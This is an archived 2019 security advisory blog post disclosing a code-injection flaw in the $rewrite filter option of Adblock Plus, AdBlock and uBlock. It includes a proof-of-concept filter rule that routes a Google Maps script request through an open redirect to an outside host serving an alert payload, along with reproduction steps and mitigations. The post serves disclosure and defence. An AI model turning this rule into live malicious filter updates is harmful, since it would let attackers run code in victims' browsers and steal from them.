

Adblock Plus filter lists may execute arbitrary code in web pages

Adblock Plus filter lists may execute arbitrary code in web pages - Author not stated, armin.dev.

- Published: 2019-04-15
- Original: <<https://armin.dev/blog/2019/04/adblock-plus-code-injection/>>
- Preserved from: <https://armin.dev/blog/2019/04/adblock-plus-code-injection/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

A new version of [Adblock Plus](#) was [released](#) on July 17, 2018. Version 3.2 introduced a new filter option for rewriting requests. A day later [AdBlock](#) followed suit and released support for the new filter option. [uBlock](#), being owned by AdBlock, also implemented the feature.

Under certain conditions the `$rewrite` filter option enables the publishers of these extensions and the maintainers of filter lists to inject arbitrary code in web pages.

The affected extensions have more than 100 million active users, and Adblock Plus has several other forks controlled by third-party developers.

The feature is trivial to exploit in order to attack any sufficiently complex web service, including Google services, while attacks are difficult to detect and are deployable in all major browsers.

Considering the nature and implications of the uncovered vulnerabilities, and given that filter lists have been employed in the past for [politically motivated attacks](#), details of the exploit chain are publicly disclosed to ensure the fastest possible propagation of upcoming mitigations in the affected browser extensions and web services.

The following CVE identifiers have been assigned for the vulnerable extensions: [CVE-2019-11593](#), [CVE-2019-11594](#) and [CVE-2019-11595](#).

[uBlock Origin](#) is not vulnerable to the described attack.

Attack

The `$rewrite` filter option is used by some ad blockers to remove tracking data and block ads by redirecting requests. The option allows rewrites only within the same origin, and requests of `SCRIPT`, `SUBDOCUMENT`, `OBJECT` and `OBJECT_SUBREQUEST` types are not processed.

However, web services can be exploited with the help of this filter option when they use XMLHttpRequest or Fetch to download code snippets for execution, while allowing requests to arbitrary origins and hosting a server-side open redirect.

Extensions periodically update filters at intervals determined by filter list operators. Organizations and individuals may be targeted based on the IP addresses from which the updates are requested, delivering the malicious payload only to targets, while keeping the public filter list unchanged.

The existence of an attack may be difficult to prove, unless the device is monitored during the attack, because threat actors could set a short expiration time for the malicious filter list, which is then replaced with a benign one.

The following criteria must be met for a web service to be exploitable using this method:

- The page must load a JS string using XMLHttpRequest or Fetch and execute the returned code
- The page must not restrict origins from which it can fetch using Content Security Policy directives, or it must not validate the final request URL before executing the downloaded code
- The origin of the fetched code must have a server-side open redirect or it must host arbitrary user content

Filter list operators may deliver a rule update such as this:

```
/^https://www.google.com/maps/_/js/k=.*m=pw/.*/rs=.*$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1
```

The above rule redirects the target request to Google's *I'm Feeling Lucky* search service, which then redirects to a page with the payload: `alert(document.domain)`.

Steps for running arbitrary code on Google Maps:

- Install either Adblock Plus, AdBlock or uBlock in a new browser profile
- Visit the options of the extension and add the [example filter list](#), this step is meant to simulate a malicious update to a default filter list
- Navigate to [Google Maps](#)
- An alert with "[www.google.com](#)" should pop up after a couple of seconds

Gmail and Google Images also meet the listed conditions to be exploitable.

Google has been notified about the exploit, but the report was closed as "Intended Behavior", since they consider the potential security issue to be present solely in the mentioned browser extensions. This is an unfortunate conclusion, because the exploit is composed of a set of browser extension and web service vulnerabilities that have been chained together.

Please note that the vulnerability is not limited to Google services, other web services could be affected as well.

Mitigation

The exploit can be mitigated in the affected web services by whitelisting known origins using the `connect-src` CSP header, or by eliminating server-side open redirects.

Ad blocking extensions should consider dropping support for the `$rewrite` filter option. It's always possible to abuse the feature to some degree, even if only images or style sheets are allowed to be redirected.

Users may also switch to [uBlock Origin](#), which does not support the vulnerable filter option. The feature has been rejected by the maintainer of the extension, citing concerns over [security and performance](#).

As of April 29, 2019 the discussed extensions have been patched, users should update to the latest versions. Vulnerable versions (inclusive): Adblock Plus between 3.2 and 3.5.1, AdBlock between 3.32.0 and 3.44.0, and uBlock between 0.9.5.11 and 0.9.5.14.

Updates

-

April 17, 2019: it has been clarified who can exploit the vulnerability and how attacks may unfold. The safety of uBlock Origin has been further emphasized due to the confusion around the uBlock brand name.

-

May 1, 2019: the assigned CVE identifiers and the vulnerable extension versions have been listed.

This post and my open source [projects](#) are made possible thanks to the support of awesome backers. If you'd like to join them, please consider contributing with [Patreon](#), [Pay Pal](#) or [Bitcoin](#).

Archived from <https://armin.dev/blog/2019/04/adblock-plus-code-injection/>. Rendered offline from the local Markdown copy.